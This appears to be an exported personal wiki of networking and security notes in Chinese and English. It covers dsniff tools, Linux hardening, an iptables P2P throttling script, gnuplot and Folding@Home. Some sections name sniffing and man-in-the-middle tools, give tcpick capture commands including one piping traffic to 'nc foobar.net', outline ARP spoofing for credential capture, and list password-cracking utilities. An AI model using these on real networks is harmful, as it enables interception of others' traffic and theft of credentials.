/usr/sbin/msgsnarf msgsnarf records selected messages from AOL Instant Messenger, ICQ 2000, IRC, MSN Messenger, or Yahoo Messenger chat sessions

/usr/sbin/sshmitm sshmitm proxies and sniffs SSH traffic redirected by dnsspoof(8), capturing SSH password logins, and optionally hijacking interactive sessions. Only SSH protocol version 1 is (or ever will be) supported - this program is far too evil already.

/usr/sbin/sshow sshow analyzes encrypted SSH-1 and SSH-2 traffic, identifying authentication attempts, the lengths of passwords entered in interactive sessions, and command line lengths.

/usr/sbin/tcpkill tcpkill kills specified in-progress TCP connections (useful for libnids-based applications which require a full TCP 3-whs for TCB creation).

/usr/sbin/tcpnice tcpnice slows down specified TCP connections on a LAN via "active" traffic shaping.

/usr/sbin/urlsnarf urlsnarf outputs all requested URLs sniffed from HTTP traffic in CLF (Common Log Format, used by almost all web servers), suitable for offline post-processing with your favorite web log analysis tool (analog, wwwstat, etc.).

/usr/sbin/webmitm webmitm and dnsspoof make dns spoofing, and operates as a proxy to redirect the traffic to the target web site.

/usr/sbin/webspy open the URL in realtime


# Linux Socket Filtering

filter.txt: Linux Socket Filtering Written by: Jay Schulist

## Introduction

Linux Socket Filtering is derived from the Berkeley Packet Filter. There are some distinct differences between the BSD and Linux Kernel Filtering.

Linux Socket Filtering (LSF) allows a user-space program to attach a filter onto any socket and allow or disallow certain types of data to come through the socket. LSF follows exactly the same filter code structure as the BSD Berkeley Packet Filter (BPF), so referring to the BSD bpf.4 manpage is very helpful in creating filters.

LSF is much simpler than BPF. One does not have to worry about devices or anything like that. You simply create your filter code, send it to the kernel via the SO\_ATTACH\_FILTER ioctl and if your filter code passes the kernel check on it, you then immediately begin filtering data on that socket.

You can also detach filters from your socket via the SO\_DETACH\_FILTER ioctl. This will probably not be used much since when you close a socket that has a filter on it the filter is automagically removed. The other less common case may be adding a different filter on the same socket where you had another filter that is still running: the kernel takes care of removing the old one and placing your new one in its place, assuming your filter has passed the checks, otherwise if it fails the old filter will remain on that socket.

## Examples

Ioctls- setsockopt(sockfd, SOL\_SOCKET, SO\_ATTACH\_FILTER, \&Filter, sizeof(Filter)); setsockopt(sockfd, SOL\_SOCKET, SO\_DETACH\_FILTER, \&value, sizeof(value));

Reference \[1] Linux Kernel, <http://www.kerne.org/>.


# Linux 系統安全管理

取消 Linux Ctrl + Alt + Del 功能：

將 /etc/inittab 中的 ca::ctrlaltdel:/sbin/shutdown -t3 -r now 註解

使 Single user mode 需要輸入密碼： 將「\~\~:S:wait:/sbin/sulogin」 增加到 si::sysint ... 之後。

限制 root 能夠登入的 TTY interface： 修改 /etc/securetty

限制登入 FTP 的 user： /etc/ftpusers 中的使用者是拒絕使用 FTP 登入的。

設定登入的帳號參數： /etc/security/access.conf 如 -:ALL EXCEPT root admin :console 表示只有 root 與 admin 可以經由 console 登入。

/etc/security/group.conf 定義了該群組的使用者能夠存取的資源

/etc/security/limits.conf 可自行定義群組的 system resource limits， 使用者可透過 ulimit 查詢。

/etc/security/times.conf 定義指定的使用者每天可以存取系統的時間

/etc/syslog.conf

lsof 可以查看所有開啟的檔案。

Psionic PortSentry 可以偵測到有人在進行掃描主機並可立即 block 以防止該人有進一步的攻擊。

Nessus (<http://www.nessus.org>) open source, 為 client server model, 可以進行安全掃描與 DoS 攻擊測試。

nmap: 常用的 service 掃描程式

相關的商業產品： ISS (Internet Security System: <http://www.iss.net>) CyberCop Scanner, NAI (Network Associates, Inc. : <http://www.nai.com>) <http://www.sans.org/>

Reference: A Survival Guide for Linux Security, Securiting Linux Step by Step, Version 1.0, <http://www.sansstore.org/>


# Security 資訊

FreeBSD security information: <http://www.freebsd.org/security/security.html> PacketStorm&#x20;

Tutorials List: <http://packetstormsecurity.nl/programming-tutorials/> Secure, Efficient, and Easy C Programming: <http://www.irccrew.org/\\~cras/security/c-guide.html> Secure Programming For Linux and Unix Howto:<http://www.dwheeler.com/secure-programs/> Systems Security Engineering:<http://www.sse-cmm.org/> Secure Unix Programming FAQ: <http://packetstormsecurity.org/programming-tutorials/secure-faq.html> Windows Security: <http://www.windowsecurity.com/> Writing Safe Setuid Programs: <http://nob.cs.ucdavis.edu/\\~bishop/> The World Wide Web Security FAQ: <http://www.w3.org/Security/Faq/www-security-faq.html> The Open Web Application Security Project: <http://www.owasp.org/>

參考資料： \[1] Mark G. Graff and Kenneth R. van Wyk, Secure Coding Principles and Practices, O'Reilly Inc. 2003.


# sniffer 相關工具 - IPgrad, tcpick

[IPgrad](https://web.archive.org/web/20200306080003/http://sourceforge.net/projects/ipgrab) 可以解析到應用層的內容。\
\
一個能將每個讀到的封包進行解譯的軟體，能呈現相當詳細的資訊，包含應用層欄位。\
\
授權：GNU General Public License (GPL)\
作業系統需求：全部的 All BSD 平台 (FreeBSD/NetBSD/OpenBSD/、Apple MacOS X)、全部的 POSIX (Linux/BSD/UNIX-like OSes)\
程式語言：C、Unix Shell\
\
[tcpick](https://web.archive.org/web/20200306080003/http://sourceforge.net/projects/tcpick) 是個 security 的工具，可以重組所監聽到的 TCP 傳輸資料。\
\
細節請 man tcpick。\
\
Debian 安裝指令：\
\# apt-get install tcpick\
\
ㄧ些 man 中提供的範例:\
\
顯示連線狀態：# tcpick -i eth0 -C\
\
顯示 payload 與封包表頭： \
\# tcpick -i eth0 -C -yP -h -a\
\
只顯示 client 端第一個 SMTP 連線資料：\
\# tcpick -i eth0 -C -bCU -T1 "port 25"\
\
下載被動 FTP 連線的檔案：\
\# tcpick -i eth0 -wR "port ftp-data"\
\
以唯一的檔案記錄 http 資料（client 與 server 混在一起）：\
\# tcpick -i eth0 "port 80" -wRub\
\
重新導向第一次的連線到某個軟體：\
\# tcpick -i eth0 --pipe client "port 80" | gzip > http\_response.gz\
\# tcpick -i eth0 --pipe server "port 25" | nc foobar.net 25


# 以 Linux 實務 ARP Spoofing

Step 1. 透過 ARP spoofing 偽裝為 gateway, 致使所有流量都必須經過此 Linux PC.

Step 2. Linux PC 啟動 forward 功能

Step 3. 可於 Linux PC 進行流量管制。

防治方法：

1. 只要記得真正 gw 的 MAC 是多少？查 ARP cache 觀察是否變更即可。
2. 將 ARP table 設定 static gateway MAC.

ARP Spoofing 的威脅：

1. 偽裝成 gateway，可以考慮是否要幫忙轉送封包，不轉送則會導致 LAN 中斷。

由此延伸，bot 可以讓流量正常運作，但是潛伏在此網路中，再暗中擷取一般未加密協定的個人敏感資料，如帳號與密碼等，甚至再進行 hijack connection。

1. 偽裝成某台 host，IP 與 MAC 都一樣，所以抓不到，但這樣沒有好處，只是讓這個 IP 的 TCP connection 不斷的 reset (TCP RST) 而已。
2. 如果有對外線路，甚至可以考慮中斷真正的 gw 而偽裝與 GW 同樣的 IP 與 MAC，難以避免。

ARP spoofing 的方式避免方式？或許要嚴密從 switch port 去設定 policy。

Reference:

1. ettercap, dsniff
2. Security power tools, Oreilly Inc., 2007-2008.


# 將文字隱藏於 JPEG 圖檔

使用 JPHS (JPEG Hidden/Search)

Usage: $ jphide input.jpg output.jpg readme.txt

參考資料 Maximum Linux Security, second edition.


# 資安工具

BACKTRACK metasploit <http://poc-hack.blogspot.com/> <http://securityreason.com/exploitalert/6399> <http://www.exploit-db.com/> MD5 cracking tools: MD5 brute force, rainbow crack MD5 cracker PHP: base64\_decode() Flash decompiler air snort Network Stumbler Angry IP Scanner avast! 4 Home Comodo 個人防火牆 CurrPorts IPNetInfo MessenPass Dialupass Mail PassView Network Password Recovery Protected Storage PassView NetBrute Scanner Startup Control Panel SuperScan tftp32 ASPack EmEditor EXE Stealth Protector TaskInfo

Advanced PDF Password Recovery Pro 2.21 Advanced Office Password Recovery 3.04 Advanced Access Password Recovery 2.5 Advanced Archive Password Recovery 3.01 Advanced Instant Messengers Password Recovery 3.00 Mail Direct 2.3 Mailbag Assistant 3.82 VisualRoute 7.1 SSS (Shadow Security Scanner) 7.71 EmEditor 3.26 Folder Shield 1.3 NeoTrace Pro 3.20

ProxyHunter 代理殺手 3.1 Angry IP Scanner 1.83 Startup Control Panel 2.8 X-Scan 3.3 N-Stealth 5.8 IPNetInfo 1.07 CurrPorts 1.08

參考資料 \[1] 駭客攻防技術擂臺, 作者：程秉輝 John Hawke 合著 \[2] 駭客攻防技術擂台 木馬篇, 作者：程秉輝‧John Hawke 合著


# 資安相關網站

<http://www.net-security.org&#x20>;

Phrack, <http://www.phrack.org/&#x20>;

\[note] Counter Hack Reloaded&#x20;

<http://www.witneee-security.com>


# 限制 localhost 的 P2P 上傳流量

I write a shell script in bash today in order to limit the upload bandwidth of P2P software in the localhost. The netfilter framework allows me to set the filter rules by process id. Therefore, we just need to search the process id of P2P software and to limit the bandwidth of the process. However, iptables tutorial \[1] said "pid, sid and command matching is broken in SMP kernels since they use different process lists for each processor". The Linux kernel version is 2.6.24-16 in my box, and the function of --pid-owner is not runable in SMP mode. If you want to use this script to limit the upload bandwidth of P2P in the localhost, you should add the file path of this script to the /etc/crontab to let the script run periodically.<br>

```shell
#!/bin/bash
#
# You need to install the package - sysvutils


echo "---------------------------------------------------------------------";
echo "* Limit the upload bandwidth of indicated programs in localhost";
echo "* Date: Feb. 21, 2009";
echo "* GNU License";
echo "* Author: Aaron Liao (http://applezulab.netdpi.net)";
echo "---------------------------------------------------------------------";

# environment testing
pidof="/bin/pidof";
iptables="/sbin/iptables";
DEBUG=0;
ret=0;

# set programs you want to limit their upload bandwidth
progs_name=( [0]="amule" [1]="emule");
progs_argv=( [0]=10 [1]=15 );
progs_flag=( [0]=0 [1]=0);
pid_list=([0]="-1" [1]="-1");
declare -a pid_list;

# test pidof
if [ ! -e "$pidof" ]; then
    echo "ERR: Program $pidof not found, you should install the packages - sysutils.";
    exit -1;
fi

# test ipt_owner
modprobe ipt_owner
ret=$?

if [ $ret -ne 0 ]; then
    echo ">> ipt_owner not supported by kernel";
    exit $ret;
fi

# initial
$iptables -D OUTPUT -j P2P
$iptables -N P2P
$iptables -F P2P
$iptables -I OUTPUT -j P2P

# search the process id
for index in $(seq 0 $((${#progs_name[@]} -1)))
do
    if [ $DEBUG -eq 1 ]; then
        echo "DEBUG >> progs_name:progs_argv=${progs_name[$index]}: ${progs_argv[$index]}";
    fi

    pid_list[$index]=`$pidof ${progs_name[$index]}`;
    ret=$?

    if [ $ret -eq 0 ]; then
        echo "FOUND ${progs_name[$index]} pid: ${pid_list[@]}"
        progs_flag[$index]=1;
    else
        progs_flag[$index]=0;
        continue;
    fi

done

ret=0;

# limit the bw
for index in $(seq 0 $((${#progs_name[@]} -1)))
do
    if [ ${progs_flag[$index]} -eq 0 ]; then
        continue;
    fi

    tmp_pid=(${pid_list[$index]});

    for offset in $(seq 0 $((${#tmp_pid[@]} -1)))
    do
        $iptables -I P2P -m owner --pid-owner ${tmp_pid[$offset]} -m limit --limit ${progs_argv[$index]}/second -j ACCEPT;
        $iptables -A P2P -m owner --pid-owner ${tmp_pid[$offset]} -j DROP;
    done

done

exit $ret;
```

\
Reference:\
\[1] iptables tutorial, [http://www.netfilter.org/](https://web.archive.org/web/20200306080009/http://www.netfilter.org/).\
\[2] Mendel Cooper, Advanced Bash-Scripting Guide, [http://tldp.org/LDP/abs/html/](https://web.archive.org/web/20200306080009/http://tldp.org/LDP/abs/html/).


# 實用工具


# 實驗基本數據製圖指令 gnuplot

* 開啟程式：gnuplot
* 開啟資料檔案：plot "filename"
* 設定要取的資料欄位，ex. 取第四、第五欄：plot 'file' index 4:5
* 開啟多個資料檔案：plot "file-1", "file-2", "file-3"
* 開啟多個資料檔案指定風格：plot "file-1" with points, "file-2" with line, "file-3" with linespoints
* 設定線條說明在左上方：set key tmargin left
* 設定線條說明有外框：set key box
* 設定數據連成一條線：set style data lines
* 不要線條說明：set nokey
* 啟動網格：set grid
* 設定標題：set title
* 設定 x 軸 Label：set xlabel "x\_description (unit)"
* 設定 y 軸 Label：set ylabel "y\_description (unit)"
* 設定 x 軸值範圍 0\~300：set xrange \[ 0 : 300 ]
* 設定 y 軸值範圍 0\~100：set yrange \[ 0 : 100 ]
* 設定 x 軸由 0 開始：set xrange \[ 0: ]
* 呈現圖式：plot
* plot "filename" with boxes
* 清除設定：reset
* 解除設定：unset command (ex. unset title)
* 儲存設定：save "set.gp"
* 載入設定：load "set.gp"
* 輸出 png 圖檔：( others: jpeg, gif, pdf, ...)
* set output "filename.png"
* set terminal png
* replot
* 畫完圖檔若是要重新將圖改回在螢幕呈現
* Linux: set terminal x11
* Windows: set terminal win

\
&#x20;其他參數：

* 秀出所有設定：show all &#x20;
* 資料呈現風格：
  * 點與線：plot "filename" with linespoints
  * 點：plot "filename" with points
  * 線：plot "filename" with line

\
Reference:

1. 中央研究院計算中心, Gnuplot 導讀,[http://phi.sinica.edu.tw/tyuan/old.pages/pcfarm.19991228/aspac/aspac/reports/95/95006/](https://web.archive.org/web/20200222181034/http://www.google.com/url?q=http%3A%2F%2Fphi.sinica.edu.tw%2Ftyuan%2Fold.pages%2Fpcfarm.19991228%2Faspac%2Faspac%2Freports%2F95%2F95006%2F\&sa=D\&sntz=1\&usg=AFrqEzf7qI2zDgiqpDyMZlztBv_PrROW4Q).
2. [http://t16web.lanl.gov/Kawano/gnuplot/](https://web.archive.org/web/20200222181034/http://www.google.com/url?q=http%3A%2F%2Ft16web.lanl.gov%2FKawano%2Fgnuplot%2F\&sa=D\&sntz=1\&usg=AFrqEzcwfjr3GhgnmGZGfxStHK8BAdQ4fQ).
3. GNUplog homepage, [http://www.gnuplot.info/](https://web.archive.org/web/20200222181034/http://www.google.com/url?q=http%3A%2F%2Fwww.gnuplot.info%2F\&sa=D\&sntz=1\&usg=AFrqEzebnW15oPvDXsMwgsivgDrzdsb8nA).


# 交換連結

| [高登工作室](http://gordon168.tw/) | [三兄弟 – 3Bro Blog](http://blog.3bro.info/) |   |   |
| ----------------------------- | ----------------------------------------- | - | - |
|                               |                                           |   |   |
|                               |                                           |   |   |
|                               |                                           |   |   |


# 網頁設定


# 網路應用


# 網路時光機

[網頁時光機](http://www.google.com/url?q=http%3A%2F%2Farchive.org%2Fweb%2Fweb.php\&sa=D\&sntz=1\&usg=AOvVaw17rTk8UT50Ew-khyyd6U-6)網頁時光機可以讓我們穿梭時光，看到網站以前的樣子。

例如，可以指定網址，我輸入海芋小站的網址：<http://www.inote.tw>

<figure><img src="/files/gx6lqT5puhulL2ncJdLf" alt=""><figcaption></figcaption></figure>

就會出現像是月曆的畫面，我們可以選擇要看的時間點，比如我選擇了公元 2008 年（要點選有顏色的圓圈

<figure><img src="/files/Cz3A95uATNzkMuOejFI5" alt=""><figcaption></figcaption></figure>

就可以看到海芋小站 2008 年大概的樣子

<figure><img src="/files/mUTyLnXOTFjZPF9VPlA6" alt=""><figcaption></figcaption></figure>

其實比較實用的功能是，如果有些文件資料，因為網站消失了而找不到，

透過網頁時光機，或許有機會能找到以前的舊有資料。

好玩吧！

還有些網站在幾年後的現在已經消失了，但是卻也能透過網頁時光機看到以前的網站，

像是我輸入以前的［資訊小子的家］網址：<http://zutto.myftp.org/\\~lmi/>

就出現了 2002 年的網頁內容，還真是令人懷念呢。（進入了老人回憶模式...）

<figure><img src="/files/eA2CZu7fpEB9GP6sWZ6z" alt=""><figcaption></figcaption></figure>

好了，這篇文章就為大家介紹到這邊，想看哪個網站以前［年輕純樸］的模樣，就輸入網址查看看唄。


# Foldng\@Home

## **關於 Taiwan Team**

歡迎加入 Taiwan Team (31403)，本團隊是目前台灣團隊最高積分隊伍！<https://stats.foldingathome.org/team/31403>

Taiwan Team 是台灣聯盟隊，主要由 [PCDVD 數位科技](http://www.google.com/url?q=http%3A%2F%2Fwww.pcdvd.com.tw%2F\&sa=D\&sntz=1\&usg=AOvVaw2zNP4so803p-88Z4PUUhHS)、[滄者極限](http://www.google.com/url?q=http%3A%2F%2Fwww.coolaler.com%2Fcontent%2F\&sa=D\&sntz=1\&usg=AOvVaw2_1DKQC2wED4e4oUunliPl)、[XF](http://www.google.com/url?q=http%3A%2F%2Fwww.xfastest.com%2F\&sa=D\&sntz=1\&usg=AOvVaw1mXttMXIB29nMSMbfkQ442)、PS3 志願玩家、以及個人所組成的台灣 folding 聯盟隊伍，目標是增加台灣在 folding\@home 的國際視野，貢獻於人類醫學。

團隊名稱：<mark style="color:green;">**Taiwan Team**</mark>

團隊代號：<mark style="color:green;">**31403**</mark>

* 論壇與教學：
  * [PCDVD 數位科技](http://www.google.com/url?q=http%3A%2F%2Fwww.pcdvd.com.tw%2F\&sa=D\&sntz=1\&usg=AOvVaw2zNP4so803p-88Z4PUUhHS) : [http://www.pcdvd.com.tw/](http://www.google.com/url?q=http%3A%2F%2Fwww.pcdvd.com.tw%2Fshowthread.php%3Ft%3D801136\&sa=D\&sntz=1\&usg=AOvVaw1zWk2A-U6LibrDITjBOV31)
  * [滄者極限](http://www.google.com/url?q=http%3A%2F%2Fwww.coolaler.com%2Fcontent%2F\&sa=D\&sntz=1\&usg=AOvVaw2_1DKQC2wED4e4oUunliPl) : [http://www.coolaler.com/](http://www.google.com/url?q=http%3A%2F%2Fwww.coolaler.com%2Fshowthread.php%2F184742-%25E4%25BD%2595%25E8%25AC%2582-Folding-home-%25E8%259B%258B%25E7%2599%25BD%25E8%25B3%25AA%25E6%2591%25BA%25E7%2596%258A\&sa=D\&sntz=1\&usg=AOvVaw3f_2mBhd3xkn_5MMnIblIx)
* 史丹佛大學 Folding\@Home 計畫首頁
* [https://foldingathome.org/start-folding/?lng=en](https://www.google.com/url?q=https%3A%2F%2Ffoldingathome.org%2Fstart-folding%2F%3Flng%3Den\&sa=D\&sntz=1\&usg=AOvVaw19ZO196oOU-LAFTjJNsJvt)
* Taiwan Team Facebook 粉絲團：[https://www.facebook.com/FAHTaiwan](https://www.google.com/url?q=https%3A%2F%2Fwww.facebook.com%2FFAHTaiwan\&sa=D\&sntz=1\&usg=AOvVaw1Fcoxq1Aw3xsrLNDrfvXAP)

**感謝**

* [巴哈姆特電玩資訊站](http://www.google.com/url?q=http%3A%2F%2Fwww.gamer.com.tw%2F\&sa=D\&sntz=1\&usg=AOvVaw1PvdrTyAs5vHF4DsbQa2oA), [PCDVD 數位科技](http://www.google.com/url?q=http%3A%2F%2Fwww.pcdvd.com.tw%2F\&sa=D\&sntz=1\&usg=AOvVaw2zNP4so803p-88Z4PUUhHS), [滄者極限](http://www.google.com/url?q=http%3A%2F%2Fwww.coolaler.com%2Fcontent%2F\&sa=D\&sntz=1\&usg=AOvVaw2_1DKQC2wED4e4oUunliPl), [XF](http://www.google.com/url?q=http%3A%2F%2Fwww.xfastest.com%2F\&sa=D\&sntz=1\&usg=AOvVaw1mXttMXIB29nMSMbfkQ442)
* PS3 user 加入 Taiwan Team


# 文獻推薦




---

[Next Page](/llms-full.txt/1)

